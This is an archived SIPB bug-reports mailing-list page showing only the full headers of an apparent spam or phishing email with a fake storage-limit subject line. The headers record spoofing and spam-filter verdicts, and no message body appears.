[64669] in SIPB bug reports

home help back first fref pref prev next nref lref last post

Re: Storage Limit Reached: Files and Documents Can No Longer Sync

daemon@ATHENA.MIT.EDU (Maria Mora)
Mon Sep 8 13:38:02 2025

From MAILER-DAEMON Mon Sep 08 17:38:02 2025
Return-Path: <>
Delivered-To: bug-sipb-mtg@bloom-picayune.mit.edu
Received: (qmail 29392 invoked from network); 8 Sep 2025 17:38:02 -0000
Received: from mail-bn8nam04rlnn2082.outbound.protection.outlook.com (HELO NAM04-BN8-obe.outbound.protection.outlook.com) (40.95.47.82)
  by charon.mit.edu with SMTP; 8 Sep 2025 17:38:02 -0000
ARC-Seal: i=3; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=JEMpDdLKtsEhMW+TOxgCRSkvdFFRUUzbgqSe4EMTQsZEZgg7zR9L9lcV4Mar3XHz2Ud2A/6NqILGdjiZIxdH0M1856o2gPHfssARM1ZRGrXRV2wHO3gxfrRli20tpxYJ5uibcfan4ASs+mfRB5HnEk+/VRtIGxaZrxHUplDSKy186cFzcCqSS6MVV0O9yxCRK5yyz/w69i/TZTH1qKslc96D8++847hxS+RLWIlLM/Jk+fJedqX+ib6QJlsjj3rk2ccNIAuZaBLUrfxWx6m/2PkgD0Kw80OphJ3LHXuAwWkdZktw3m+H8lX9vGRrBVb1RUaMg01zpKNeGjuT0FloVg==
ARC-Message-Signature: i=3; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=3pyt1b/xqVtOkb+vQzG0cfibCshc7jJiTaqa+uZhKFo=;
 b=qeLcTPgj9tW4Wmi/SzX2PfBQxZttXfWEfcGvsiWdv03fnnGun4KG5tVQuwKfd9dF20yCflJqAbiSGwo7KhrPThei7sVNd7RWbVU9E/tJRU9NkyFhGNabP6Re0DCOUrbeFqwTEpqd2zQuyNVf4J714ti1NoB2fAXtH0I/Y7a7fZJtBpBzXICPYaRLsWn60Nn+TWnkckJlaAXgazrSTj50rUdOAUWrXG5M4cMPwqDMrgcz0tWATkSIizI9NcxS/rrDfcPqWdfhoPtUqwHsnS9vXU6KZv9CBE1FE9BGhqhc/Zyw3Grdsp35hLirRQ2+n+eGFo00gj9Jm8Rd93ygm2BtpQ==
ARC-Authentication-Results: i=3; mx.microsoft.com 1; spf=none (sender ip is
 2a01:111:f403:dc0f::3) smtp.rcpttodomain=mit.edu
 smtp.helo=seypr02cu001.outbound.protection.outlook.com; dmarc=none
 action=none header.from=kenyasuperfreight.com; dkim=pass (signature was
 verified) header.d=jeppiaarinstituteorg.onmicrosoft.com; arc=pass (0 oda=0
 ltdi=1)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=mitprod.onmicrosoft.com; s=selector2-mitprod-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=3pyt1b/xqVtOkb+vQzG0cfibCshc7jJiTaqa+uZhKFo=;
 b=odJF/XHci5nn/FIzYpfwG+mNb/0nw8cgRjlBawXIpua8S70dx1bDhSlzhDfXGC+0EJvkujpqmCn5jul2MN8dZW1I8l4ecSQSio8ffdoyVDB23A0z/8TWOs5EB5fUCDH8j63MB9qOYWr+H6ml29gCnV/IDCdG41ySwIRcn6Yvdyc=
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=Cd1OWeFxL1iLthHrtyzAyttGtJg+DU4HGtrwoZPfTL8nDAkKlaVQwXgymnSOey3uv1OxsPdPlUZ2QU7xj5rumeXmRMqH4kjECqKW0fa03pykDYj2vHO7wfp7/NFkS7W7GWbtrmVKJZEjHG+4gEseRTgXbc4nHNG6dtqC8e4GGwR376LkKd2e7+8ugfPzg9zUBWadLK045atH/tUUH9cNs750lbRD9a1JxuRaAeY/H7NhcMVgZe+Lkr0eNLORq5ag4qe06B1mfzfeNqH9EnueYA4T58XF8k3+8JQ7WQIUGvHGrIPPnwPsb6ilzgXL5RtGkSAWxuDsebCd1zfcnLhgMw==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=3pyt1b/xqVtOkb+vQzG0cfibCshc7jJiTaqa+uZhKFo=;
 b=iAnpZlh69smHZmsarohJcooZoZEYZDJYmuGiNB0QULvVNKTZL+c9mPsneNI4A2fBQnroPY5MzibxoN/reDdsDUoMLPwPPviB2aD1VxA+maVT8NJ4kTzfGozyLGKN6zc6CFEhsDf7AJjvAa4AMV8P/YZR8eOGbT7vt8AuDAedEpOqcbDfMKT/xPFv72uxEPMesKE+o2Vh+yfRdcsLVj6YKGfhnQO0TJT7057jnCabxvwCoc/nzyJDoPhHNHle+P2wborYWgC7Ve5FlTlJMWY6Osw8kwSIRTmROuj5zTVwMhdn4PpTLxLrfPWZAm7eBamS7FMqKCqSKBKw//riRPP+Yg==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=none (sender ip is
 2a01:111:f403:dc0f::3) smtp.rcpttodomain=mit.edu
 smtp.helo=seypr02cu001.outbound.protection.outlook.com; dmarc=none
 action=none header.from=kenyasuperfreight.com; dkim=pass (signature was
 verified) header.d=jeppiaarinstituteorg.onmicrosoft.com; arc=pass (0 oda=0
 ltdi=1)
Received: from DS7PR03CA0345.namprd03.prod.outlook.com (2603:10b6:8:55::29) by
 SJ0PR01MB7347.prod.exchangelabs.com (2603:10b6:a03:3f6::24) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.9073.27; Mon, 8 Sep 2025 17:38:00 +0000
Received: from DS2PEPF00003441.namprd04.prod.outlook.com
 (2603:10b6:8:55:cafe::c) by DS7PR03CA0345.outlook.office365.com
 (2603:10b6:8:55::29) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.20.9094.22 via Frontend Transport; Mon,
 8 Sep 2025 17:37:59 +0000
Authentication-Results: spf=none (sender IP is 2a01:111:f403:dc0f::3)
 smtp.helo=SEYPR02CU001.outbound.protection.outlook.com; dkim=pass (signature
 was verified) header.d=jeppiaarinstituteorg.onmicrosoft.com;dmarc=none
 action=none header.from=kenyasuperfreight.com;
Received-SPF: None (protection.outlook.com:
 SEYPR02CU001.outbound.protection.outlook.com does not designate permitted
 sender hosts)
Received: from SEYPR02CU001.outbound.protection.outlook.com
 (2a01:111:f403:dc0f::3) by DS2PEPF00003441.mail.protection.outlook.com
 (2603:10b6:2c:400:0:1001:0:4) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.20.9115.13 via Frontend Transport; Mon,
 8 Sep 2025 17:37:59 +0000
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=kbelG41P/njZ9aG6f/nYbZjiBxAIcac7chwue96nxJQP3ULhsTe2Z4MQvdwje6siUMOA66UYgUDal0kX3gEfrgsVK+n5jBzeKg3d5bqv18LIF/hesNx6XGyyvgADermsqJEQ4hBG6I7lBLXRZ8ob6iQWrcyf1ZqwvPEqz3pvTvA66r21r+CPzlO2BffDkigX6OyqHvJPK6GJdIlkVk59cXUC2VaoFmX9p2LaayZvvxiJGE2pt4BwhfZf+MeCpu682YM5P9OhDTpG/Pyw63cq5OSNh4FRuszIHj/62i7sDDbrXK2fYCzfXRq0IqaR94l5ZXs+JlbxZzwDie67eEUKpw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=3pyt1b/xqVtOkb+vQzG0cfibCshc7jJiTaqa+uZhKFo=;
 b=ZeIBNLYzt+ZR76sNVKuqYN03al/O1G/wn6KKYgFsmSbLvgIc32wNTbNLbfM5Rk5/8y954ZdyEB9e6nubHjBhUZEkosrMU2NBbL0CvxKdqH5bBfMotvQO79cKfDXys3E/74zFqhrC7KRvU8uO6PM7iA6odaF6jtiXYme/QkXZYLxITKa0EEOUxaSNGo713yyns78WX0q9q6JfVM0JZeKuebnxL0S6m7OrKR4k9NGYcr3CXZldbznFF7/WS8qrUZjkVFgYqCgUyfDX3EBgJdw85NSyQVyKCEXJezCta+11qKPpkWnoJcNnTPDQ9bKyw/UdnxnoKIIlxMOOrUJC9lRZPQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=softfail (sender ip
 is 185.66.141.131) smtp.rcpttodomain=mit.edu smtp.helo=kenyasuperfreight.com;
 dmarc=none action=none header.from=kenyasuperfreight.com; dkim=none (message
 not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=jeppiaarinstituteorg.onmicrosoft.com;
 s=selector2-jeppiaarinstituteorg-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=3pyt1b/xqVtOkb+vQzG0cfibCshc7jJiTaqa+uZhKFo=;
 b=cO28jxx2XmLwE9N26xkeXnusK71sWfGU4voNB2rdtivW+t9h7GvAOJIXXETDrFdE79o7Tb+mP28Hw91LAo2ScICM8SP1PI9jThmEkR5ipq8nnay8EvE87TNyCB8FV2VxAllIJ7Wsr0SFtGT6wOPk2b7E6+IvqwPhhoLs3U80H3Q=
Received: from SI2PR01CA0029.apcprd01.prod.exchangelabs.com
 (2603:1096:4:192::8) by SEZPR02MB5614.apcprd02.prod.outlook.com
 (2603:1096:101:39::5) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.9094.22; Mon, 8 Sep
 2025 17:37:56 +0000
Received: from SG2PEPF000B66C9.apcprd03.prod.outlook.com
 (2603:1096:4:192:cafe::9e) by SI2PR01CA0029.outlook.office365.com
 (2603:1096:4:192::8) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.20.9094.22 via Frontend Transport; Mon,
 8 Sep 2025 17:37:42 +0000
X-MS-Exchange-Authentication-Results: spf=softfail (sender IP is
 185.66.141.131) smtp.helo=kenyasuperfreight.com; dkim=none (message not
 signed) header.d=none;dmarc=none action=none
 header.from=kenyasuperfreight.com;
Received-SPF: SoftFail (protection.outlook.com: domain of transitioning
 kenyasuperfreight.com discourages use of 185.66.141.131 as permitted sender)
Received: from kenyasuperfreight.com (185.66.141.131) by
 SG2PEPF000B66C9.mail.protection.outlook.com (10.167.240.20) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.9115.13 via Frontend Transport; Mon, 8 Sep 2025 17:37:55 +0000
X-BESS-REASON: sender
X-BESS-REASON-EXTRA: header:exchangelabs.edu, in Domain Settings: exchgelabs.edu
From: Maria Mora <mmoraoseguera@kenyasuperfreight.com>
To: bug-sipb@mit.edu
Subject: Re: Storage Limit Reached: Files and Documents Can No Longer Sync
Thread-Topic: Medical Assistant program 
Thread-Index:
 ZX9QA5ZX8XT2J11rrIAV4fD5gAADS8KAAA2G2w==
Date: Mon, 08 Sep 2025 10:37:53 -0700
Message-ID:
 <BN8PR06MB61772A07A2CB0417F4C1A300CF2AA@EM1UMFBTETD1MZD.namprd06.prod.outlook.com>
References:
 <BN8PR06MB61777CA61C769F9D1F8049D7CF55A@E5OMHK76ACF9FIE.namprd06.prod.outlook.com>
 <SN6PR01MB36640BB059532651A5BB7CCF8554A@0OU0N4Z1AKH0LK8.prod.exchangelabs.com>
 <DM6PR01MB5355BB049FF2A6D5F40E0047F857A@EOR3T6LZGP4RA8G.prod.exchangelabs.com>
 <BN8PR06MB6177C2DAB7AADA93CE58088BCF57A@YZVCBYQEF1VF9SE.namprd06.prod.outlook.com>
 <DM6PR01MB5355680FB08401001BA697A1F857A@4BQT126KCUZ39J8.prod.exchangelabs.com>
 <BN8PR06MB6177DB136CD4E60BF95953DBCF5DA@THYYFK38DH3RK38.namprd06.prod.outlook.com>
 <MN2PR01MB53574935204F813C85ECBCD6F85DA@PZIG6D5AVYOFAQ2.prod.exchangelabs.com>
 <BYAPR06MB6184E78B16C9DD0106814DE1CF24A@TWR8PUXNPN2MVOC.namprd06.prod.outlook.com>
 <f63d38ef-5fb6-47fb-adbd-b579b86f8c23@OAMYS8IOUPC9CKB.android.com>
 <BYAPR06MB61843BDF19C43D694CC38278CF24A@N7G7QEVCKIIIORZ.namprd06.prod.outlook.com>
 <BN8PR06MB6177448A658A22E64745F8C6CF2BA@MC6N6X4QFZ4RA13.namprd06.prod.outlook.com>
 <96cea27a-613d-4c1d-8ae2-3bd8309c925f@V59UPP3PIVLAQVF.android.com>
In-Reply-To: <96cea27a-613d-4c1d-8ae2-3bd8309c925f@2ZK4YWYVNM8GZ72.android.com>
Accept-Language: es-ES, en-US
Content-Language: es-US
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator:
x-ms-reactions: allow
Authentication-Results-Original: dkim=pass (message signed)
 header.d=none;dmarc=none action=none header.from=ucmerced.edu;
x-ms-traffictypediagnostic:
	BN8PR06MB6177:EE_|PH0PR06MB10318:EE_|SG2PEPF000B66C9:EE_|SEZPR02MB5614:EE_|DS2PEPF00003441:EE_|SJ0PR01MB7347:EE_
X-MS-Office365-Filtering-Correlation-Id: 212061c0-5a8c-4816-910a-08ddeefe743f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 1
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|1800799024|10070799003|366016|376014|7053199007|4013099003|4053099003|13003099007|8096899003|38070700018;
X-Microsoft-Antispam-Message-Info-Original:
 =?us-ascii?Q?iqYEN2xK6OfTNNpqhfBEj8oSutgg/lJs3SgqIotPs3zURKgNp5c/uvpV/NN8?=
 =?us-ascii?Q?x+HTZTlNF0EraZO2oRwiHIe2boSq07EG7kZs7qKUrz9QC+iEcZsL12gQt13y?=
 =?us-ascii?Q?aAa76QMNIcx10JXy7O44t/hXIZTmnWkgpY1HvXqM77K0NqukEbEfdce4MDlq?=
 =?us-ascii?Q?2Zc7YgAyubRjuecVV7V57LFA8khTXh6sLoAQz6xetllGPzo+kNasd9xQ+b4D?=
 =?us-ascii?Q?kKWNsrajf0L/Jc4aDuqAsbIXQqdL/a200Pjo1EArTDHTd2wFSe+bXs4pN4+7?=
 =?us-ascii?Q?5/+X7tXrJz+5RARBA/q61fVcNbNLG9Wdfxr0ZGKsdpOBLhAIxdIxchA8kZ0e?=
 =?us-ascii?Q?dc0AqqDvQinvIL1zfWySOGoidWooTohdG2593DK64a11+Q2/aId10qZyokhe?=
 =?us-ascii?Q?vow4lZ55GRbtmR9YpBscTL18lccR83NwIDo72KIVpxxTWfWKlqUPa56gPs97?=
 =?us-ascii?Q?1QYywprWEkLO7iyO6mioHUNJPgHFuKfNN9zAx4T2ecTNZfoX1hNoFDb+wmzI?=
 =?us-ascii?Q?jB77tMkLnTYDGHGFGRWlWSv0RZK3e5lhJncA9Hskp5pqvHcbmvqLNzB+8fc7?=
 =?us-ascii?Q?HsXmcIf6WsOEtgcYK704GuSXWlNvEEc0mGxml2nHoWN4WmXCiUwU3wqZT8Hd?=
 =?us-ascii?Q?Pr7TBLHEKJWSFS40v3B/2t3n5GGCmteU5BCCVevEaK5V9qAVHgSNVdeDrjH+?=
 =?us-ascii?Q?YgCmuMUwuDqe5Qj/ew3tD/zfBhUaapBj5n01pbd4lsz5TdpMnC2r8MfZqZLd?=
 =?us-ascii?Q?Ujb8gIj3dF0FPjcet914Lln+E6B2QgQafvx3uWp9E0wulFVJfgweS1TUraJ2?=
 =?us-ascii?Q?czryl+CrwbsuCOmf+F7lecjDEifODlkgjdsgDfmtVP3tT4mcnBNEVvQUToCF?=
 =?us-ascii?Q?hEAVyD/mDSVAplmGEYRFHNxtJ+um3lzqVMpVypS6hBngYqSQlyzZPvbO4JVU?=
 =?us-ascii?Q?wr7aAN2uopLHTNBjrfhXFcXtjjdVHwyTTIRvK160wqrNTykMjC41wmTYcXuG?=
 =?us-ascii?Q?vjgcG2bZhK00YjtnIcBJ83ziBNSOHhY6P1MvRvH/U9oPc1ApCO9kpmqavFCN?=
 =?us-ascii?Q?pwuuPzpNZgoIrcmyHKdyoBkkvtJhCv7NMWAdWbGyERRHV+rV2ZXfzSZ/w+uC?=
 =?us-ascii?Q?Yba4ID+UGX6+aZPfLW5qnSphL5fSMFC6Dzlus0v+fcqvTXDFn04OB4lW8Jhr?=
 =?us-ascii?Q?0IMID52fbeUnnE9CsCHq+5EZ7g+9BrYkIP6UuVAH5BDvvFaLA6TWHePyq77f?=
 =?us-ascii?Q?ePP+sjNdDCBulIMVfxjxnBgDiRSJ97W3jJrUXvspp49zVMDdmtb6cZiLPZ5l?=
 =?us-ascii?Q?P5//uJeOL/cKiMjuXgM0k8LzdKx3vfgWKNUzNdgz7aPKAebOWxGNyX2/U8yx?=
 =?us-ascii?Q?fIjT8tMXLkCLxz2DxwJmERA9hHB5L68Mpi02NYHtbmPXSGdmhTbyeSpPcbna?=
 =?us-ascii?Q?nV2Zi/KCyww=3D?=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:BN8PR06MB6177.namprd06.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(10070799003)(366016)(376014)(7053199007)(4013099003)(4053099003)(13003099007)(8096899003)(38070700018);DIR:OUT;SFP:1101;
Content-Type: multipart/related;
	boundary="----=_Part_-1553800878_1598659289.1755081037617";
	type="multipart/alternative"
MIME-Version: 1.0
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR06MB10318
X-BESS-ID: 1755045216-102915-7664-16552-1
X-BESS-VER: 2019.1_20250807.1754
X-BESS-Apparent-Source-IP: 40.107.244.54
X-BESS-Parts: H4sIAAAAAAACA8XNOQ4CMQwF0LuknsKOEzvhKojCzsJQsEhMgYS4OykC4gY01r
	el971/uvbY3M5tYy7uene7DIwjreMItUvtSMKcktdeiZOVkAN5i1Wiey0fv27n6QNHyL
	NACMYamTAiShNQq0iafQc/cvkpOJ76LGDGr+8qHEvDqpaQWcWEixkLBGsx/Pjb5Ti9CN
	H0bfzQ1BU6NC4hpgTo0WelUH1h+78/vAGu/qLDggEAAA==
Return-Path: <>
X-EOPAttributedMessage: 1
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 SG2PEPF000B66C9.apcprd03.prod.outlook.com
X-MS-Office365-Filtering-Correlation-Id-Prvs:
 1ce48d0f-6097-4d7e-24b1-08ddda010947
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|35950700016|41320700013|35042699022|376014|82310400026|14060799003|61400799027|4053099003|8096899003;
X-Microsoft-Antispam-Message-Info-Original:
 =?us-ascii?Q?auOCcqKoi3m0nz9Qvi8FoD6JgRpj5p/pVIlEkegnH8mKMdeybhH4t6Iop2J+?=
 =?us-ascii?Q?7UUH7GVEHV0+myvDqq76JnMMswixsXa3Y56gF4EFCjDwowWIdnyHi8SqQ7r3?=
 =?us-ascii?Q?9duVQoIhYnMpX4XpuozqhCyDWiFwdhixvhg3ECjewuYOQBRP9hiyu6InjS+v?=
 =?us-ascii?Q?kwQsDsToZoHVH7XkLfXdEbWNrwWYCCBO0CycVLj0MBAow/Ps/c8DN8Ln7juG?=
 =?us-ascii?Q?A6g3M8Xn2UzITTFh97Q7P3xlSvYRuX42TuUt9SgBik4LHb3E0JR9cwZx+zlG?=
 =?us-ascii?Q?ODCLjzdAe5lUc/b+vpR/tB1wofuvyRUICu8cds/iErIvBwZBiEBka0LMEN5V?=
 =?us-ascii?Q?8tZbYOoUVf4qn4IE5FvPf+wKVuW3i8xV6vkY6LkbeTE49bJ0G3kDGxL8ebnY?=
 =?us-ascii?Q?S0h/5tsxcIxPAyoeySH4987QHxrL/2vY2fKHkqgRfEgGoJvAhP64QbsO6eQE?=
 =?us-ascii?Q?Bh6aMJTn/d0VCqX8Y/KG0F/6rwc13ZvmQOpQJHhrR/xcXriXASEkBCs4RywI?=
 =?us-ascii?Q?m0f/EKiyHuquye6yUVie/BfkH9qV0nnpNiCmPKaqMGfOkGW8mMTS0/9eg8gB?=
 =?us-ascii?Q?AbQpORIOeXdxupnVzxoAoMx9hhRI/LchYIQENZ+Mt3ya7X7kgJOWC0clUywZ?=
 =?us-ascii?Q?F++QAQU+XqMZ4qkmBSYUL1fT2xU16vo6PnN/ynisEsmDCT518AIe32mTczoi?=
 =?us-ascii?Q?O3IhgZsvUuRpy3GE+QDPSa9vwLGwi3XnoyQX96Fb4KZRXC5w1LeJ7PXlg93p?=
 =?us-ascii?Q?zm0U6b8xOBFMtnagLCifAY3z3N6e1ygbZ/81Wl3dq5dRm+2AxclCsmeuoo64?=
 =?us-ascii?Q?XKbs1ZhfWjCoTQbFDUry510GxpKe5A9aFpSzzeiSNBuLi0cRygBvOf7IKhAY?=
 =?us-ascii?Q?4/b5dIqBMFpPwzkmt5jlNrlTt6+2MWAjtFetwql19fVSo7ZHE5OBxMz/jVHr?=
 =?us-ascii?Q?4dYfBwQTI/9LhmSw91eyDKneEhNz/M+QUcVz56CTUsaGPsmdre7u3kNEYd7c?=
 =?us-ascii?Q?azBvyMrRwuoMDS6rrOuLexJyvc1vNHG74GlNZhXEsHANkuOHiQ543N9Nxxc5?=
 =?us-ascii?Q?Py3xR2PUUY/8y1dAZAsoMKG40icOAsp+3IaXN+v3+S84GRAg5nBJsUEgYv5m?=
 =?us-ascii?Q?yS5cnVr1Z1BxVRp7qBosp0pLuBD61IMa5Tbz3xRjctprmyhFNTCzPK1Y/GiG?=
 =?us-ascii?Q?P+T/JC4b5LFFd/YvokoN2vWv2eVo605p0a79oWBNUr3UZH/BXUx4KIWLCt1j?=
 =?us-ascii?Q?TwF9kvN7dKELJ3fqffkxdXSyi2PxwBD1/ycyWR19gLfgRG61AYWmx2dDz0p6?=
 =?us-ascii?Q?BN4FTjQLs7PJg9ZTzQkskQv1yYZtAreZOK9JQ7D21UszSsPKspL9ovbQFAx5?=
 =?us-ascii?Q?nyR2FlHKK6a7cs6ZIO1cNF59LscN/BY+hCLDJrEeWZ0adTDYuLGl9ks15fUN?=
 =?us-ascii?Q?6yKT1UlNoWm2qpJoqld7cpwI8Wci1ZlzF8wuJhCL+UcSLf25Hh5FbIO1+9a6?=
 =?us-ascii?Q?v5dir3nk9YMW8fQ5t5Sruu1RSwYBkGSfDiSCcNv2UgZizWlVy7fbBrcyNabW?=
 =?us-ascii?Q?Dw4NHQvNZ7MxNLYGkcHCu24XfWpoZwOPFML9r5fPFOvHLo5UmjCnw2roJAis?=
 =?us-ascii?Q?w+BKLbbbFaGEV+9fDgvINJOfzv9krviinfoy+y14rL1RQroTibXLK21ogqRH?=
 =?us-ascii?Q?i79uVpRuCAphl0RorpmbJCfjYtRywI8HBEpwDtHV913zWM5K?=
X-Forefront-Antispam-Report-Untrusted:
 CIP:185.66.141.131;CTRY:BZ;LANG:en;SCL:5;SRV:;IPV:CAL;SFV:SPM;H:kenyasuperfreight.com;PTR:InfoDomainNonexistent;CAT:OSPM;SFS:(13230040)(35950700016)(41320700013)(35042699022)(376014)(82310400026)(14060799003)(61400799027)(4053099003)(8096899003);DIR:OUT;SFP:1501;
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SEZPR02MB5614
X-EOPTenantAttributedMessage: 64afd9ba-0ecf-4acf-bc36-935f6235ba8b:0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DS2PEPF00003441.namprd04.prod.outlook.com
X-MS-Exchange-Transport-CrossTenantHeadersPromoted:
 DS2PEPF00003441.namprd04.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	76f3ca9b-f39c-40b6-c136-08ddeefe71e6
X-LD-Processed: 64afd9ba-0ecf-4acf-bc36-935f6235ba8b,ExtAddr
X-MS-Exchange-AtpMessageProperties: SA
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|48200799018|9140799003|12022799006|376014|61400799027|35042699022|4053099003|8096899003;
X-Microsoft-Antispam-Message-Info:
	=?utf-8?B?ZnpmbUxwNDNuS3hseUxhZWpIU0E2SDNkejYvWHpHMHA5TXl4dWV6M0oxWFk5?=
 =?utf-8?B?cEVyQ1Q5S0JiS3dkRGZTK3c0cVJxd002RnptMkpSUFJzUGhRUmNGS1Z5ZFJO?=
 =?utf-8?B?SFRNTk43RzlPTzRTR1hydUx1dGl6anppbHdpTVpaSmRLdFIrU0tRYkM4VlNI?=
 =?utf-8?B?eTVTdG01Z1FLS1FVcWpFZ0FRNy9sNlJVeGlXck4xb1h1N0VBcVlFZzR5NDZX?=
 =?utf-8?B?amxaZWZaOEZkVHM0Z3FlK3F5RUlxdzdxNTNwcWlYVzFFa20xeUkxZ2ZFQXlN?=
 =?utf-8?B?SlNkdm8rM0Z6aDhyYk9CUXhKaHo5a2s5Ynh2WEZNT0dUZGdRSVB4aDJvOWY5?=
 =?utf-8?B?eU5wSWpXREVzZ3hRdWgrVE92bCtnUDJqVVNxNDdOM25hUzBicU5zak1xMGtV?=
 =?utf-8?B?cjdsRzJMZE9Ham9KekhpNE1OZmYvVkQ1aVFNaXduY0FULzY0VVhYSVNYLzVl?=
 =?utf-8?B?SnBJd1BCUjRJQ2xTUzByOWpnclpCRElDR2hKck9YRWhTaU1XbkZCZVY3U1FJ?=
 =?utf-8?B?VVN4Z1YwL3VVOWcrRFMwRmhKcW1rTHhEaTFqakdvN2JGdm4vV0UwYmlNUUV4?=
 =?utf-8?B?WDZwT0k5dUQ1U3J6bXhvVk5MTC9uSDAxZSs2ZTFqWEhkblNpSUZWcDdhazIv?=
 =?utf-8?B?YmdMRFVLSFVUR0hoSVBPMDlMRUlrSk9wTlRScDRvYmt4ZStsajlZakQrcHlR?=
 =?utf-8?B?MjhnRkZsY0V6bWdrVmRjZmxTRXFNTkNXemhVVTdqNUZmL1N0UVhtazFnKzZE?=
 =?utf-8?B?YWZnbFZhWStJMHJhY2hEUFNOQ21OSk1WdTYvYlJBa0RjemN2NVA4Mmt0SGND?=
 =?utf-8?B?OEZHZytnSC9JbE9IelU5ajZaWmtCMjlYbys2RExFMVN6WHJmN1BlRHhjRWpJ?=
 =?utf-8?B?MnNZL3dvL3FJbU14NEFRQ05zeDdLVWoweVJMOHBoTmpoZXF4RnFJT0tDTTFO?=
 =?utf-8?B?bHRSQ2F3ZGdSZDRUYVZkR2ZHelllRlhvODVyTFNUekJKaXdTM09SM3ZUOExY?=
 =?utf-8?B?WXRIYlhSbThTT1V2ZEhkKzl0N3IvV3FlY3NtY0hqT1pSdytFMCtmWnptdXJ1?=
 =?utf-8?B?d1Uza1pGUCtLVmdBMnBWbXVwbnlaczh5TGJVRXc3Q0p3cmd1aTV1Vnl6b3N2?=
 =?utf-8?B?RGtzSjBvWXB2SHFkMk5mbkNmM1pYZGI3S3Q4UGtzaEtKSTkrT1VkT3RvZ1li?=
 =?utf-8?B?N0RrWi9rT3FTZDNXVkJWTktpYTR3cTRoc29oOGl2VXNJSXhhaXp5VmJFZXBm?=
 =?utf-8?B?Wm54UzNhcHorZzlMdFNMSnNER3Z5QllYbEtUbms3d3hpNTlGdjZRM3g0VnRM?=
 =?utf-8?B?R2dVRGRrazlqRmZlTjZnaGZ3NnZxVGI0NzNxbTRIZGJzQ3NKLzU2UUhhNk5F?=
 =?utf-8?B?cU90SW9zdkpLSlplQlRxTlNGYkpHWEphT2REcmpVOGJzd292QndzMDF4SzA1?=
 =?utf-8?B?bUVmZHFiTWxNSlp6cUJCM2cyaDhpZFRhWVlLSGtzUGRES2ZGSHhYQkNxQnpY?=
 =?utf-8?B?eDFmUWlRTEpkWFI5TUw4b01yM2NxYVYwS2dEQ1l5VUVGaDR2dk1JaThoaUd1?=
 =?utf-8?Q?OUSpLiBWxuqBJVEeZv4IOUoTA=3D?=
X-Forefront-Antispam-Report:
	CIP:2a01:111:f403:dc0f::3;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:SEYPR02CU001.outbound.protection.outlook.com;PTR:mail-koreacentralazhn150130003.outbound.protection.outlook.com;CAT:NONE;SFS:(13230040)(48200799018)(9140799003)(12022799006)(376014)(61400799027)(35042699022)(4053099003)(8096899003);DIR:OUT;SFP:1022;
X-ExternalRecipientOutboundConnectors: 64afd9ba-0ecf-4acf-bc36-935f6235ba8b
X-Auto-Response-Suppress: DR, OOF, AutoReply
X-OriginatorOrg: mitprod.onmicrosoft.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Sep 2025 17:37:59.2298
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 212061c0-5a8c-4816-910a-08ddeefe743f
X-MS-Exchange-CrossTenant-Id: 64afd9ba-0ecf-4acf-bc36-935f6235ba8b
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=2ee2dc5c-fdf3-44cd-a888-24fcd77b6428;Ip=[185.66.141.131];Helo=[kenyasuperfreight.com]
